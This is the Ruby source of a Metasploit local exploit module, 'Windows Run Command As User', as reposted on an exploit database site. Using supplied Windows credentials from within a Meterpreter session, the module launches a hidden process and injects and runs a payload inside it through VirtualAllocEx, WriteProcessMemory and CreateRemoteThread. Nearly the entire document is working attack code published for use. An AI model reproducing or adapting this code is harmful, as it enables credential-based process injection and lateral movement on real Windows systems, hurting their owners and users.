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# Windows Run Command As User Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
include Msf::Post::Windows::Runas
include Msf::Post::Windows::Priv

def initialize(info = {})
super(update_info(info,
'Name' => "Windows Run Command As User",
'Description' => %q{
This module will login with the specified username/password and execute the
supplied command as a hidden process. Output is not returned by default.
Unless targetting a local user either set the DOMAIN, or specify a UPN user
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.

A custom command line can be sent instead of uploading an executable.
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
respectively. See the MSDN documentation for how these two values interact.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499', 'Ben Campbell'],
'Targets' => [
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
],
'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy
))

register_options(
[
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
OptString.new('USER', [true, 'Username to login with' ]),
OptString.new('PASSWORD', [true, 'Password to login with' ]),
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
], self.class)
end

def exploit
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
domain = datastore['DOMAIN']
user = datastore['USER']
password = datastore['PASSWORD']

if datastore['USE_CUSTOM_COMMAND']
application_name = datastore['APPLICATION_NAME']
command_line = datastore['COMMAND_LINE']
else
command_line = nil
windir = get_env('windir')

# Select path of executable to run depending the architecture
case sysinfo['Architecture']
when /x86/i
application_name = "#{windir}\\System32\\notepad.exe"
when /x64/i
application_name = "#{windir}\\SysWOW64\\notepad.exe"
end
end

pi = create_process_with_logon(domain,
user,
password,
application_name,
command_line)

return unless pi

begin
return if datastore['USE_CUSTOM_COMMAND']

vprint_status('Injecting payload into target process')
raw = payload.encoded

process_handle = pi[:process_handle]

virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
nil,
raw.length,
'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE')

address = virtual_alloc['return']
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process:
#{virtual_alloc['ErrorMessage']}") if address == 0

write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
address,
raw,
raw.length,
4)

fail_with(Exploit::Failure::Unknown,
"Unable to write memory in target process @ 0x#{address.to_s(16)}:
#{write_memory['ErrorMessage']}") unless write_memory['return']

create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
nil,
0,
address,
nil,
0,
4)
if create_remote_thread['return'] == 0
print_error("Unable to create remote thread in target process:
#{create_remote_thread['ErrorMessage']}")
else
print_good("Started thread in target process")
end
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-03-31]

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